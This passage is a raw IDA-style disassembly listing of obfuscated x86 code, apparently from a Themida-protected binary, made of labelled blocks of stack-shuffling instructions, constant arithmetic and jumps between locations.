[esp] jmp loc_594B20 ; --------------------------------------------------------------------------- loc_5A0F4B: ; CODE XREF: Themida_:00595D03j dec ecx jmp loc_599207 ; --------------------------------------------------------------------------- loc_5A0F51: ; CODE XREF: Themida_:005A2FADj pop dword ptr [esp] push edi jmp loc_5A3DBA ; --------------------------------------------------------------------------- loc_5A0F5A: ; CODE XREF: Themida_:005951DDj not dword ptr [esp] mov ebp, [esp] add esp, 4 push eax push 6C09h mov [esp], ebp push dword ptr [esp] jmp loc_59916E ; --------------------------------------------------------------------------- loc_5A0F77: ; CODE XREF: Themida_:005954ADj mov cl, 39h push edx mov dl, cl push ecx mov ch, dl mov ah, ch mov ecx, [esp] add esp, 4 jmp loc_59DEC6 ; --------------------------------------------------------------------------- loc_5A0F8F: ; CODE XREF: Themida_:00596663j mov [esp], ebx push esp pop ebx push ecx mov ecx, 4A740B11h neg ecx jmp loc_59A00A ; --------------------------------------------------------------------------- loc_5A0FA1: ; CODE XREF: Themida_:0059ADCBj mov [edx], cl mov ecx, [esp] jmp loc_5939CD ; --------------------------------------------------------------------------- loc_5A0FAB: ; CODE XREF: Themida_:0059CA0Dj mov [esp], ebp mov ebp, 59CE44D6h add ebp, 228513B7h jmp loc_59E553 ; --------------------------------------------------------------------------- loc_5A0FBE: ; CODE XREF: Themida_:0059B772j push edi push esp pop edi push ebx push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 1AC55E49h push 3BFh mov [esp], edi jmp loc_599E75 ; --------------------------------------------------------------------------- loc_5A0FE7: ; CODE XREF: Themida_:005A492Fj sub esp, 4 mov [esp], edi mov edi, 4A022F7Eh add edi, 3EB96A20h sub edi, 1 xor edi, 88BB9999h jmp loc_5971B4 ; --------------------------------------------------------------------------- loc_5A1009: ; CODE XREF: Themida_:00597D26j push ebx mov ebx, 5A555187h neg ebx and ebx, 58906E2Fh jmp loc_59D499 ; --------------------------------------------------------------------------- loc_5A101C: ; CODE XREF: Themida_:0059F753j mov edi, 4 jmp loc_5955BE ; --------------------------------------------------------------------------- push 753Bh mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] push 621Fh mov [esp], eax push edx pop eax jmp loc_5A2AAD ; --------------------------------------------------------------------------- loc_5A104A: ; CODE XREF: Themida_:005A0CCBj xor [esp], esi jmp loc_5A0117 ; --------------------------------------------------------------------------- loc_5A1052: ; CODE XREF: Themida_:0059C538j pop ebx and ebx, 67096BFEh neg ebx jmp loc_5A56B5 ; --------------------------------------------------------------------------- loc_5A1060: ; CODE XREF: Themida_:005A39F0j add [esp+8], edx sub dword ptr [esp+8], 66C911A1h mov edx, [esp] add esp, 4 sub dword ptr [esp+4], 54FB73ACh add [esp+4], ebp add dword ptr [esp+4], 54FB73ACh jmp loc_591F7F ; --------------------------------------------------------------------------- loc_5A108B: ; CODE XREF: Themida_:0059692Dj push dword ptr [esp] jmp loc_5A53A6 ; --------------------------------------------------------------------------- loc_5A1093: ; CODE XREF: Themida_:005A1CABj mov edx, ecx pop ecx add edx, 60D2391Dh not edx shr edx, 8 push esi jmp loc_59E878 ; --------------------------------------------------------------------------- loc_5A10A7: ; CODE XREF: Themida_:0059BD05j pop edi add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] shl dword ptr [esp], cl jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A10C0: ; CODE XREF: Themida_:005A43FEj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add edi, ecx jmp loc_591190 ; --------------------------------------------------------------------------- loc_5A10D7: ; CODE XREF: Themida_:005979AFj mov ecx, 4 jmp loc_592083 ; --------------------------------------------------------------------------- loc_5A10E1: ; CODE XREF: Themida_:0059293Fj mov [esp], edi mov edi, 3D5E188Ah push ebx mov ebx, 0FFFFFFFFh sub edi, ebx mov ebx, [esp] push ebx jmp loc_59E7DA ; --------------------------------------------------------------------------- loc_5A10FA: ; CODE XREF: Themida_:00592508j mov bl, cl jmp loc_5A0C8E ; --------------------------------------------------------------------------- loc_5A1101: ; CODE XREF: Themida_:005A45F9j pop eax pop ebx sub ebx, 44241984h sub ebx, 331F57B5h add ebx, edx add ebx, 331F57B5h jmp loc_5A227A ; --------------------------------------------------------------------------- loc_5A111C: ; CODE XREF: Themida_:00599BABj or edi, 1ACF0E43h dec edi jmp loc_5A3E07 ; --------------------------------------------------------------------------- loc_5A1128: ; CODE XREF: Themida_:00594D54j push edx mov edx, 1 sub ebp, edx pop edx push ebp not dword ptr [esp] mov ebp, [esp] jmp loc_5951AE ; --------------------------------------------------------------------------- loc_5A113D: ; CODE XREF: Themida_:0059EA57j add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_592542 ; --------------------------------------------------------------------------- loc_5A1151: ; CODE XREF: Themida_:0059E7B1j pop esi neg di jmp loc_5A5180 ; --------------------------------------------------------------------------- loc_5A115A: ; CODE XREF: Themida_:00591B96j add ecx, 4 sub esp, 4 mov [esp], ebx push edx jmp loc_5A49A7 ; --------------------------------------------------------------------------- loc_5A116C: ; CODE XREF: Themida_:00593AC9j pop ebp jmp loc_59BBF0 ; --------------------------------------------------------------------------- loc_5A1172: ; CODE XREF: Themida_:00599498j push 5A9Ah mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xor ebx, eax push esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 sub esi, 2 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], cx push 20CCh mov [esp], edx push 3856h mov [esp], ebx push edx mov dh, 0A0h dec dh sub dh, 0E1h jmp loc_594788 ; --------------------------------------------------------------------------- loc_5A11CB: ; CODE XREF: Themida_:0059837Ej mov [esp], ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 push esi push esp pop esi add esi, 4 jmp loc_5A0C3F ; --------------------------------------------------------------------------- loc_5A11EC: ; CODE XREF: Themida_:0059B2C0j mov esp, [esp] add esp, 4 push ebx push edi push edx push 70BA6329h pop edx and edx, 7C381FA7h add edx, 0E5A618ECh mov edi, edx pop edx jmp loc_5A229A ; --------------------------------------------------------------------------- loc_5A1212: ; CODE XREF: Themida_:005A4529j mov ebx, eax mov eax, [esp] jmp loc_5947D8 ; --------------------------------------------------------------------------- loc_5A121C: ; CODE XREF: Themida_:005A46C6j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mul ecx push 4361h jmp loc_5A4AC9 ; --------------------------------------------------------------------------- loc_5A1248: ; CODE XREF: Themida_:005A048Cj xor edx, [esp] mov esp, [esp] push edi mov edi, esp add edi, 4 push edx push ebp mov ebp, 4 mov edx, ebp jmp loc_59292E ; --------------------------------------------------------------------------- loc_5A1265: ; CODE XREF: Themida_:0059A216j add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5A4E16 ; --------------------------------------------------------------------------- loc_5A1279: ; CODE XREF: Themida_:005950B1j push eax mov eax, 20196031h shl eax, 2 jmp loc_595E7E ; --------------------------------------------------------------------------- loc_5A1287: ; CODE XREF: Themida_:005A549Cj add eax, 1FF066ADh sub eax, ebp push ebp push 1FF066ADh pop ebp jmp loc_5998CF ; --------------------------------------------------------------------------- loc_5A129A: ; CODE XREF: Themida_:00590DE7j mov ecx, 0 add ecx, eax xor [ecx], edx jmp loc_59302D ; --------------------------------------------------------------------------- loc_5A12A8: ; CODE XREF: Themida_:005968C2j add edx, 3AFC5A07h jmp loc_5A4A4D ; --------------------------------------------------------------------------- loc_5A12B3: ; CODE XREF: Themida_:005934E1j xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_5949A3 ; --------------------------------------------------------------------------- loc_5A12C1: ; CODE XREF: Themida_:0059DAC2j add eax, ecx sub eax, 77A86023h jmp loc_59740A ; --------------------------------------------------------------------------- loc_5A12CD: ; CODE XREF: Themida_:005A3679j add esp, 4 jmp loc_5971E6 ; --------------------------------------------------------------------------- loc_5A12D5: ; CODE XREF: Themida_:0059B461j push eax mov eax, 0 add eax, ebx mov ecx, [eax] mov eax, [esp] add esp, 4 jmp loc_5A0825 ; --------------------------------------------------------------------------- loc_5A12EA: ; CODE XREF: Themida_:0059C0CDj pop ebp add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_596F2E ; --------------------------------------------------------------------------- loc_5A12FB: ; CODE XREF: Themida_:0059FD32j pop edi add edi, esi jmp loc_5A1EF6 ; --------------------------------------------------------------------------- loc_5A1303: ; CODE XREF: Themida_:005A52B7j mov eax, esp sub esp, 4 mov [esp], edx mov edx, 69C413CBh push ebx mov ebx, 170B0CE3h jmp loc_595092 ; --------------------------------------------------------------------------- loc_5A131B: ; CODE XREF: Themida_:00596AE6j pop dword ptr [esp] mov esp, [esp] push 3203h mov [esp], ebp jmp loc_5A4B10 ; --------------------------------------------------------------------------- loc_5A132E: ; CODE XREF: Themida_:00592377j mov eax, 8577A02h and eax, 49F91791h xor eax, 63760F9Ch add ebp, eax pop eax mov eax, [esp] jmp loc_597BCC ; --------------------------------------------------------------------------- loc_5A1348: ; CODE XREF: Themida_:0059E27Fj pop eax sub al, dl jmp loc_5965A9 ; --------------------------------------------------------------------------- loc_5A1350: ; CODE XREF: Themida_:005A21E1j pop eax add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push 0C31h mov [esp], esp push edi jmp loc_59811B ; --------------------------------------------------------------------------- loc_5A1372: ; CODE XREF: Themida_:005941A2j xor ebp, 76B20E56h sub ebp, 5813041Fh mov ebx, ebp pop ebp shr ebx, 7 add ebx, 246F3A8Fh dec ebx sub ebx, 528E5280h add ebx, 6F675CDDh sub ebx, 4195831Fh mov ecx, ebx mov ebx, [esp] add esp, 4 add ecx, ebx add eax, [ecx] pop ecx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], eax push 3B03h jmp loc_5A2E9B ; --------------------------------------------------------------------------- loc_5A13C0: ; CODE XREF: Themida_:0059D6FAj mov [esp], ecx mov ecx, 18EC28FAh or ecx, 307657FCh and ecx, 465E31D7h dec ecx add ecx, 372D3DEEh sub ecx, 77612CABh xor ecx, 36145DD6h add ebx, ecx jmp loc_5965B1 ; --------------------------------------------------------------------------- loc_5A13EE: ; CODE XREF: Themida_:00590FFFj mov ebp, [esp] jmp loc_596225 ; --------------------------------------------------------------------------- loc_5A13F6: ; CODE XREF: Themida_:00597810j mov edx, 7B425B5Eh neg edx push ebp mov ebp, 7A015596h add edx, ebp pop ebp shr edx, 5 jmp loc_5A3367 ; --------------------------------------------------------------------------- loc_5A140E: ; CODE XREF: Themida_:0059148Cj xor ecx, [esp] xor [esp], ecx push dword ptr [esp] jmp loc_59ED8E ; --------------------------------------------------------------------------- loc_5A141C: ; CODE XREF: Themida_:005A53B6j sub ch, 1 xor ch, 53h add al, ch pop ecx sub al, dl push ebx mov bh, 0CAh add bh, 1 push eax mov al, 0EEh shr al, 2 jmp loc_598B7E ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_592EC3 ; --------------------------------------------------------------------------- loc_5A1453: ; CODE XREF: Themida_:005A376Dj xchg eax, [esp] jmp loc_599932 ; --------------------------------------------------------------------------- loc_5A145B: ; CODE XREF: Themida_:0059C761j sub edi, 73E01E66h sub edi, 43713B76h add edi, edx add edi, 43713B76h add edi, 73E01E66h mov edx, [esp] jmp loc_590EC4 ; --------------------------------------------------------------------------- loc_5A147D: ; CODE XREF: Themida_:0059EE9Bj push small 310Dh mov [esp], bp mov bp, 3048h push 272Eh mov [esp], eax sub esp, 4 mov [esp], esi mov si, 5A10h jmp loc_590D16 ; --------------------------------------------------------------------------- loc_5A14A3: ; CODE XREF: Themida_:0059CADBj push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi pop esi jmp loc_59F203 ; --------------------------------------------------------------------------- loc_5A14B7: ; CODE XREF: Themida_:00591B9Fj mov bl, 47h sub bl, 1 or bl, 0D3h xor bl, 0C9h neg bl jmp loc_59B7B6 ; --------------------------------------------------------------------------- loc_5A14C9: ; CODE XREF: Themida_:0059E3C2j mov ebp, [esp] add esp, 4 add ebp, 4 push eax mov eax, 4 sub ebp, eax jmp loc_599E81 ; --------------------------------------------------------------------------- loc_5A14E2: ; CODE XREF: Themida_:005A5663j pop ecx sub ebp, 4 jmp loc_59A811 ; --------------------------------------------------------------------------- loc_5A14EE: ; CODE XREF: Themida_:0059D2DAj xor ebx, 23492CDFh xor eax, ebx jmp loc_592BED ; --------------------------------------------------------------------------- loc_5A14FB: ; CODE XREF: Themida_:0059E12Dj dec esi jmp loc_59D17B ; --------------------------------------------------------------------------- loc_5A1501: ; CODE XREF: Themida_:005975B5j mov ecx, 784E3A32h jmp loc_59C926 ; --------------------------------------------------------------------------- loc_5A150B: ; CODE XREF: Themida_:005A45CDj push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp or [esp], eax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A151D: ; CODE XREF: Themida_:00597E18j pop ebx jmp loc_598248 ; --------------------------------------------------------------------------- loc_5A1523: ; CODE XREF: Themida_:00598A9Aj pop edx sub bh, 0FFh push small 413Ah mov [esp], ax push 3078h mov [esp], edx mov dl, 2Ah jmp loc_59721B ; --------------------------------------------------------------------------- loc_5A153E: ; CODE XREF: Themida_:00592C9Fj add eax, 64F7731Fh pop edx jmp loc_5A46D5 ; --------------------------------------------------------------------------- loc_5A1549: ; CODE XREF: Themida_:005A176Dj sub eax, edx pop edx mov esi, [esp] add esp, 4 push 2A4Eh mov [esp], edi push 25A5h mov [esp], ebp jmp loc_5A305C ; --------------------------------------------------------------------------- loc_5A1567: ; CODE XREF: Themida_:0059CB97j pop edi sub ebx, ebp jmp loc_5A2866 ; --------------------------------------------------------------------------- loc_5A156F: ; CODE XREF: Themida_:00596FB6j jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A1574: ; CODE XREF: Themida_:0059ADBBj add esp, 4 add ebx, edi mov edi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5910AF ; --------------------------------------------------------------------------- loc_5A158D: ; CODE XREF: Themida_:0059FD7Dj push ecx mov ecx, esp add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add ecx, ebp pop ebp xchg ecx, [esp] mov esp, [esp] jmp loc_5A4DE8 ; --------------------------------------------------------------------------- xor [esp], di xor di, [esp] xor [esp], di xor di, dx jmp loc_590CCA ; --------------------------------------------------------------------------- loc_5A15C3: ; CODE XREF: Themida_:00598A93j add eax, 528D4177h jmp loc_5A335A ; --------------------------------------------------------------------------- loc_5A15CD: ; CODE XREF: Themida_:005909FEj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59C179 ; --------------------------------------------------------------------------- loc_5A15E3: ; CODE XREF: Themida_:005A304Aj mov [esp], esi mov esi, 25B93100h jmp loc_5A20D9 ; --------------------------------------------------------------------------- loc_5A15F0: ; CODE XREF: Themida_:00598D6Cj push edi mov edi, esp add edi, 4 jmp loc_5980C8 ; --------------------------------------------------------------------------- loc_5A15FE: ; CODE XREF: Themida_:0059A571j mov edx, 3B06690h sub eax, edx pop edx add eax, 169749DFh push ebx mov ebx, 5B301DE4h sub eax, ebx pop ebx sub eax, 51E77A30h sub eax, ebx add eax, 51E77A30h push 7665h mov [esp], ebp push 4992h mov [esp], esi mov esi, 5B301DE4h mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_598027 ; --------------------------------------------------------------------------- loc_5A1642: ; CODE XREF: Themida_:0059FE82j xor eax, [esp] mov esp, [esp] jmp loc_590F4F ; --------------------------------------------------------------------------- loc_5A164D: ; CODE XREF: Themida_:0059F7DDj pop esi push edx push 5C17h mov [esp], esp push ebx mov ebx, 4 add dword ptr [esp+4], 77987B8Fh add [esp+4], ebx sub dword ptr [esp+4], 77987B8Fh jmp loc_59EF89 ; --------------------------------------------------------------------------- loc_5A1676: ; CODE XREF: Themida_:00596B77j push ebx push edx pop ebx jmp loc_59AB47 ; --------------------------------------------------------------------------- loc_5A167E: ; CODE XREF: Themida_:0059C2D1j add dword ptr [esp+4], 33F64DB5h add dword ptr [esp+4], 7491F24h add [esp+4], ecx sub dword ptr [esp+4], 7491F24h jmp loc_594485 ; --------------------------------------------------------------------------- loc_5A169F: ; CODE XREF: Themida_:00599C73j add ebx, 0C55BDAF4h jmp loc_599B1F ; --------------------------------------------------------------------------- loc_5A16AA: ; CODE XREF: Themida_:0059A5EDj add esp, 4 sub ebp, edx pop edx jmp loc_59FDC6 ; --------------------------------------------------------------------------- loc_5A16B8: ; CODE XREF: Themida_:0059B3FEj mov ecx, 17E3DD4h neg ecx push ecx not dword ptr [esp] pop ecx neg ecx or ecx, 44691AECh add ecx, 1162517h add ebp, ecx pop ecx sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], ebx mov ebx, 77255088h mov ecx, 7725508Ch xor ecx, ebx pop ebx add ebp, ecx pop ecx push ebx push esp pop ebx add ebx, 4 push ebp mov ebp, 4 add ebx, 0E646831h sub esp, 4 mov [esp], esi mov esi, 67BB1E85h dec esi sub esi, 6F272B63h not esi not esi add esi, 4B2B5876h sub ebx, esi pop esi sub ebx, ebp jmp loc_59F104 ; --------------------------------------------------------------------------- loc_5A1732: ; CODE XREF: Themida_:005A4963j pop ecx and ebp, 34E55C86h shr ebp, 6 sub ebp, 16640D1Eh inc ebp push eax jmp loc_59DC85 ; --------------------------------------------------------------------------- loc_5A1749: ; CODE XREF: Themida_:00590D4Bj pop esp and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_5969B4 ; --------------------------------------------------------------------------- loc_5A1757: ; CODE XREF: Themida_:005A08FFj inc ecx jmp loc_59A2F4 ; --------------------------------------------------------------------------- loc_5A175D: ; CODE XREF: Themida_:00595204j add ebp, esi jmp loc_592145 ; --------------------------------------------------------------------------- loc_5A1764: ; CODE XREF: Themida_:0059F813j push ebx mov ebx, esp jmp loc_598051 ; --------------------------------------------------------------------------- loc_5A176C: ; CODE XREF: Themida_:0059C903j pop ecx jmp loc_5A1549 ; --------------------------------------------------------------------------- loc_5A1772: ; CODE XREF: Themida_:00597A24j mov eax, esi pop esi add [esp+4], eax jmp loc_592B8A ; --------------------------------------------------------------------------- loc_5A177E: ; CODE XREF: Themida_:0059B5EBj mov esi, esp jmp loc_5984CD ; --------------------------------------------------------------------------- loc_5A1785: ; CODE XREF: Themida_:00593175j mov eax, 20B674ABh jmp loc_59530B ; --------------------------------------------------------------------------- loc_5A178F: ; CODE XREF: Themida_:00595D0Fj pop dword ptr [esp] pop esp push ecx mov ecx, 66FB7BF3h push edx jmp loc_5A2E16 ; --------------------------------------------------------------------------- loc_5A179F: ; CODE XREF: Themida_:005A4D83j add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_598574 ; --------------------------------------------------------------------------- loc_5A17CB: ; CODE XREF: Themida_:00591539j push ebp mov ebp, 55FE5CBBh jmp loc_59DDE2 ; --------------------------------------------------------------------------- loc_5A17D6: ; CODE XREF: Themida_:0059C51Bj push edx mov edx, 3AC352CDh push ebp push edx mov edx, 52EC7378h mov ebp, edx pop edx jmp loc_5A0DFB ; --------------------------------------------------------------------------- loc_5A17EB: ; CODE XREF: Themida_:00597D40j add eax, 118E3085h push edx mov edx, esp add edx, 4 push edi mov edi, 4 sub edx, edi pop edi jmp loc_59843A ; --------------------------------------------------------------------------- loc_5A1807: ; CODE XREF: Themida_:00596C1Fj xor esi, 7B1F5117h pop ebp add ebp, 7C552911h add ebp, esi sub ebp, 7C552911h pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_599957 ; --------------------------------------------------------------------------- loc_5A182B: ; CODE XREF: Themida_:005A2909j pop eax push 29Bh mov [esp], edx mov dh, ch mov [edi+eax*4], dh push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ecx push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A185C: ; CODE XREF: Themida_:005A43A3j sub ecx, ebx pop ebx shl ecx, 3 jmp loc_59F961 ; --------------------------------------------------------------------------- loc_5A1867: ; CODE XREF: Themida_:005A0ABCj pop eax push ebx sub esp, 4 mov [esp], eax mov al, 74h not al inc al sub al, 0E2h push 6385h mov [esp], edx mov dl, al push ecx mov ch, dl mov bl, ch pop ecx pop edx pop eax push eax mov al, 41h push dx mov dh, 30h add al, dh pop dx sub bl, al pop eax neg bl inc bl add bl, 0A5h jmp loc_59ECDF ; --------------------------------------------------------------------------- loc_5A18A3: ; CODE XREF: Themida_:005A546Aj dec dh push cx mov ch, 17h or dh, ch pop cx not dh xor dh, 5Bh add cl, dh pop edx sub cl, bl sub cl, 0DBh pop bx mov bh, cl jmp loc_5A0AA5 ; --------------------------------------------------------------------------- loc_5A18C3: ; CODE XREF: Themida_:005A3F8Dj add edi, 4 push 4949h mov [esp], esi mov esi, 4 add edi, esi mov esi, [esp] sub esp, 4 jmp loc_599D35 ; --------------------------------------------------------------------------- loc_5A18E6: ; CODE XREF: Themida_:0059FFA3j mov edi, 5B5808A5h or edi, 70210C10h add edi, 0FFFFFFFFh sub edi, 4CDA1A34h shl edi, 6 push ecx mov ecx, 17A90046h sub ecx, 0CEA58B2Eh add edi, ecx pop ecx add edi, 5BE5FA9Dh sub eax, edi jmp loc_59D7DA ; --------------------------------------------------------------------------- loc_5A1919: ; CODE XREF: Themida_:00596BE2j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp mov [edi+20h], eax pop eax loc_5A1927: ; CODE XREF: Themida_:00597336j ; Themida_:0059B87Ej push dword ptr [esp] mov ebx, [esp] push ebp jmp loc_5931BF ; --------------------------------------------------------------------------- loc_5A1933: ; CODE XREF: Themida_:00597A85j pop esp mov eax, [esp] jmp loc_59D209 ; --------------------------------------------------------------------------- loc_5A193C: ; CODE XREF: Themida_:005A2D3Dj xchg ecx, [esp] pop esp push ebp jmp loc_5A4A00 ; --------------------------------------------------------------------------- loc_5A1946: ; CODE XREF: Themida_:00590D6Bj pop edx push esi mov esi, 4 add edi, esi pop esi xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp push 4471h jmp loc_5939C3 ; --------------------------------------------------------------------------- loc_5A1964: ; CODE XREF: Themida_:00598DD5j pop edi push ebx mov eax, [esp] add esp, 4 pop ebx jmp loc_59C4AA ; --------------------------------------------------------------------------- loc_5A1972: ; CODE XREF: Themida_:00596D6Dj sub edx, 536A031Ch mov ebx, [esp] jmp loc_5A1CDD ; --------------------------------------------------------------------------- loc_5A1980: ; CODE XREF: Themida_:005A34DAj sub esp, 4 mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] jmp loc_591017 ; --------------------------------------------------------------------------- loc_5A19A5: ; CODE XREF: Themida_:00593613j xor edx, 3D9963E3h jmp loc_59EC90 ; --------------------------------------------------------------------------- loc_5A19B0: ; CODE XREF: Themida_:005A0927j push dword ptr [esp] pop edx add esp, 4 and dh, ch mov ecx, [esp] add esp, 4 shr dh, 4 add dh, 0DCh sub al, dh push dword ptr [esp] pop edx push ebp jmp loc_59C04F ; --------------------------------------------------------------------------- loc_5A19D7: ; CODE XREF: Themida_:0059B967j sub esp, 4 jmp loc_590353 ; --------------------------------------------------------------------------- loc_5A19E2: ; CODE XREF: Themida_:00598E57j mov [esp], esi push 609B56CFh mov esi, [esp] add esp, 4 not esi shl esi, 2 add esi, 9F9492E1h mov ebx, esi pop esi shl ebx, 1 push edx mov edx, 2F320D2Fh shl edx, 7 jmp loc_593E56 ; --------------------------------------------------------------------------- loc_5A1A11: ; CODE XREF: Themida_:0059613Aj add ecx, esi jmp loc_5905D2 ; --------------------------------------------------------------------------- loc_5A1A18: ; CODE XREF: Themida_:0059CB4Ej pop esp neg dh sub dh, 0B2h sub dh, 15h sub al, 76h sub al, 20h add al, 8Dh sub al, dh sub al, 8Dh add al, 20h add al, 76h pop edx sub al, 93h jmp loc_5A4C22 ; --------------------------------------------------------------------------- loc_5A1A37: ; CODE XREF: Themida_:00590619j mov ebp, 244E6503h sub ebx, 7D7B1252h jmp loc_594F98 ; --------------------------------------------------------------------------- loc_5A1A47: ; CODE XREF: Themida_:005A0C20j pop esp jmp loc_59E716 ; --------------------------------------------------------------------------- loc_5A1A4D: ; CODE XREF: Themida_:0059AB90j not al mov dl, al pop eax push eax push ebx push eax mov ah, 0B5h jmp loc_599EC5 ; --------------------------------------------------------------------------- loc_5A1A5C: ; CODE XREF: Themida_:0059CB40j pop bx mov bl, dl pop edx push dx mov dh, 0F1h add al, 0C6h jmp loc_59F8C3 ; --------------------------------------------------------------------------- loc_5A1A6C: ; CODE XREF: Themida_:005957D4j push edx mov edx, 34E0252Bh sub edx, 0F1E2AC8h xor edx, 0BAA22E53h xor ebx, edx jmp loc_598604 ; --------------------------------------------------------------------------- loc_5A1A85: ; CODE XREF: Themida_:005A000Aj mov [esp], ecx push eax mov al, 4Bh mov cl, 0Eh jmp loc_59EBB7 ; --------------------------------------------------------------------------- loc_5A1A92: ; CODE XREF: Themida_:00597662j mov [esp], eax mov eax, 3BE7C3Dh add ecx, eax pop eax pop esi jmp loc_594D73 ; --------------------------------------------------------------------------- loc_5A1AA3: ; CODE XREF: Themida_:00591CFDj sub edx, 0E5957770h mov ebx, edx pop edx neg ebx push ebp mov ebp, 6E4D7B51h or ebp, 5D7F2BBCh add ebp, 56853B01h jmp loc_5A4C54 ; --------------------------------------------------------------------------- loc_5A1AC5: ; CODE XREF: Themida_:005A2A40j mov esi, 0 sub esi, ebp jmp loc_5938ED ; --------------------------------------------------------------------------- loc_5A1AD1: ; CODE XREF: Themida_:00596F17j mov [esp], ecx mov ecx, 7C0C386Ch add ecx, 1 inc ecx jmp loc_59B7FA ; --------------------------------------------------------------------------- loc_5A1AE2: ; CODE XREF: Themida_:0059C1C9j pop ebx xchg ebp, [esp] pop esp push ebp jmp loc_59E26A ; --------------------------------------------------------------------------- loc_5A1AED: ; CODE XREF: Themida_:0059994Cj pop edi jmp loc_5A261E ; --------------------------------------------------------------------------- loc_5A1AF3: ; CODE XREF: Themida_:0059C8D7j mov esi, 4 mov ebx, esi pop esi add ecx, ebx jmp loc_599543 ; --------------------------------------------------------------------------- loc_5A1B02: ; CODE XREF: Themida_:005A3BE0j xor edi, 111E7FEBh add esi, edi pop edi add esi, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx sub esp, 4 mov [esp], esp push esi jmp loc_59FA73 ; --------------------------------------------------------------------------- loc_5A1B29: ; CODE XREF: Themida_:0059A8DEj sub ecx, ebx pop ebx mov ebp, ecx pop ecx add edi, ebp pop ebp push edi jmp loc_59FD37 ; --------------------------------------------------------------------------- loc_5A1B38: ; CODE XREF: Themida_:0059C948j mov ebx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] pop esi add ebp, 2 jmp loc_59E338 ; --------------------------------------------------------------------------- loc_5A1B53: ; CODE XREF: Themida_:005993B1j mov [esp], ax jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_5A1B5C: ; CODE XREF: Themida_:005A4016j pop ecx jmp loc_595498 ; --------------------------------------------------------------------------- loc_5A1B62: ; CODE XREF: Themida_:00594046j mov dl, ah jmp loc_5971AB ; --------------------------------------------------------------------------- loc_5A1B69: ; CODE XREF: Themida_:005992CAj push ecx jmp loc_59E596 ; --------------------------------------------------------------------------- loc_5A1B6F: ; CODE XREF: Themida_:005A25AAj mov esp, [esp] jmp loc_59230E ; --------------------------------------------------------------------------- loc_5A1B77: ; CODE XREF: Themida_:0059A583j mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] pop esp xor [esp], eax pushf jmp loc_5993C6 ; --------------------------------------------------------------------------- loc_5A1B92: ; CODE XREF: Themida_:005985F8j mov [esp], eax mov eax, 9467BA8h add edi, eax pop eax jmp loc_5A03D2 ; --------------------------------------------------------------------------- loc_5A1BA2: ; CODE XREF: Themida_:00593CE6j pop edx xchg esi, [esp] pop esp jmp loc_59FE35 ; --------------------------------------------------------------------------- loc_5A1BAC: ; CODE XREF: Themida_:005A41F9j sub ebp, 0FFFFFFFFh shr ebp, 8 push eax mov eax, 573F2886h or ebp, eax pop eax push edi mov edi, 70AD4690h xor ebp, edi pop edi mov ecx, ebp jmp loc_599EBF ; --------------------------------------------------------------------------- loc_5A1BCB: ; CODE XREF: Themida_:005A03DEj mov [esp], eax jmp loc_599234 ; --------------------------------------------------------------------------- loc_5A1BD3: ; CODE XREF: Themida_:005A500Cj pop eax sub ecx, 4 jmp loc_59C739 ; --------------------------------------------------------------------------- loc_5A1BDC: ; CODE XREF: Themida_:005970CAj pop dword ptr [esp] pop esp xor al, cl jmp loc_595674 ; --------------------------------------------------------------------------- loc_5A1BE7: ; CODE XREF: Themida_:00592FF8j mov eax, esi pop esi add eax, 69776C5Ch jmp loc_59237C ; --------------------------------------------------------------------------- loc_5A1BF4: ; CODE XREF: Themida_:0059C841j pop esi push 586Eh mov [esp], ecx push ebx jmp loc_592E5E ; --------------------------------------------------------------------------- loc_5A1C03: ; CODE XREF: Themida_:0059EC77j push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp mov [esp], edx jmp loc_5A290E ; --------------------------------------------------------------------------- loc_5A1C15: ; CODE XREF: 